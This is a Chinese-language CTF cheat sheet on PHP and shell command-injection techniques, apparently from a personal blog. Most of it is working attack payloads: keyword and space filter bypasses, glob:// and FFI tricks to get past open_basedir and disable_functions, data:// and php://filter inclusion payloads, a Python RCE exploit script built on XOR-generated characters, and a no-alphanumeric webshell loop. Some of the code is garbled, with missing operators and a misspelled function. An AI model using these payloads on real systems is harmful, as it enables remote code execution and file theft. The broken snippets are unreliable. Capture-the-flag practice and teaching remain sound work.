CTF命令执行总结
关键字替换
flag替换
如flag.php
替换为
f???.php
????.???
f*
fla\g.php
fla''g.php
字符绕过
php中分号(;) 可以使用 ?>绕过 `
可以命令执行的函数有
system()
passthru()
exec()
shell_exec()
` 反引号
eval()
如在eval()函数中执行system函数 需要加上echo 才有回显 默认执行 eval(system(ls);) 这样是不回显的
应该是 eval(echo sysytem(ls);)
绕过空格
1.linux中
%09 符号需要php环境
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
$IFS后边可以使用符号 但是不能直接跟字符 会显示无效命令(?c=nl$IFS''fla\g.php)
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
2、windows下
(实用性不是很广,也就type这个命令可以用)
type.\flag.txt
type,flag.txt
echo,123456
linux读文件
cat 查看文件内容
more 分页浏览文件内容
head 显示文件前几行
tail 显示文件的后几行
tac 命令是 cat 反向写的,它们的功能也相反
nl 命令的作用和 cat -n 类似,是将文件内容全部显示在屏幕上,并且是从第一行开始显示,同时会自动打印出行号。
less与 more 类似,但在用 more 时候可能不能向上翻页,不能向上搜索指定字符串,而 less 却可以自由的向上向下翻页,也可以自由的向上向下搜索指定字符串。
file -f 可以利用报错将文件内容带出来(-f<名称文件> 指定名称文件,其内容有一个或多个文件名称时,让file依序辨识这些文件,格式为每列一个文件名称。)
rev 将每行倒序输出
uniq 命令用于检查及删除文本文件中重复出现的行列
grep '{' flag.php (查找{开头的行)
如果这些关键字被过滤可以使用?去匹配
如cat可以用/bin/ca? 来匹配
/bin目录下的命令
cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
常用cat ,base64
如/???/?????4 可以匹配/bin/base64
还可以使用/usr/bin下的把bzip2将文件压缩然后下载
usr/bin目录
主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等
eg:/???/???/????2 ???????? (/usr/bin/bzip2 flag.php)
会生成flag.php.bz2 然后访问下载
php读文件
file_get_contents()
highlight_file()
show_source()
fgets()
file()
readfile()
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line =fgetcsv($a);print_r($line);}
c=$a=fopen("flag.php","r");echo fread($a,"1000");
c=$a=fopen("flag.php","r");echo fpassthru($a);
copy()
rename()
//用法:
copy("flag.php","flag.txt");
rename("flag.php","flag.txt");
php中查看当前目录
php中的打印函数
var_dump
print_r
当var_dump和print_r没有过滤时
查看当前目录
var_dump(scandir("."));
查看根目录
var_dump(scandir("/"));
当var_dump和print_r被过滤时
使用遍历打印出来
c=
$a=scandir("/");
foreach($a as $value){
echo $value." ";
}
c=
$a=glob("/*");
foreach($a as $value){
echo $value." ";
}
c=
$a=new DirectoryIterator('glob:///*');
foreach($a as $f){
echo($f->__toString()." ");
}
php绕过open_basedir
利用glob伪协议在筛选目录时不受open_basedir制约
c=
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo $f." " ;
}
php7.4利用FFI绕过disable_functions
c=
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo $f." " ;
}
$ffi = FFI::cdef(
"int system(const char *command);");
$ffi->system("/readflag > 1.txt");
过滤小写字母和数字及一些符号时
利用bash变量拼出/bin/base64 ctfshow web118~
文件包含读文件
如果是txt可以直接
c=include('/flag.txt');
如果是php 利用伪协议
?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
伪协议
data://协议
执行命令
?c=data://text/plain,<?php%20echo%20system(%27cat%20fl*%27);?>
使用base64加密 base64加密需要用php中的base64加密函数加密base64_encode($str);
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
利用异或生成可用字符 然后rce
参考 先用php生成可用字符
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9][a-z]\^\+\~\$\[\]\{\}\&\-/i';
if(preg_match($preg , hex2bin($hex_i))preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
然后用rce
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)
命令分割
%0a符号
换行符
%0d符号
回车符
;符号 在 shell 中,担任”连续指令”功能的符号就是”分号”
&符号
无数字字母webshell
ctfshow web55
import requests
while True:
url = "http://2281cc8b-ae66-442b-89f3-1dbaf33749ce.chall.ctf.show//?c=.+/???/????????[@-[]"
r = requests.post(url, files={"file": ('feng.txt', b'cat flag.php')})
if r.text.find("flag") >0:
print(r.text)
break
CTF命令执行总结
http://example.com/2021/01/31/OldBlog/ctf命令执行总结/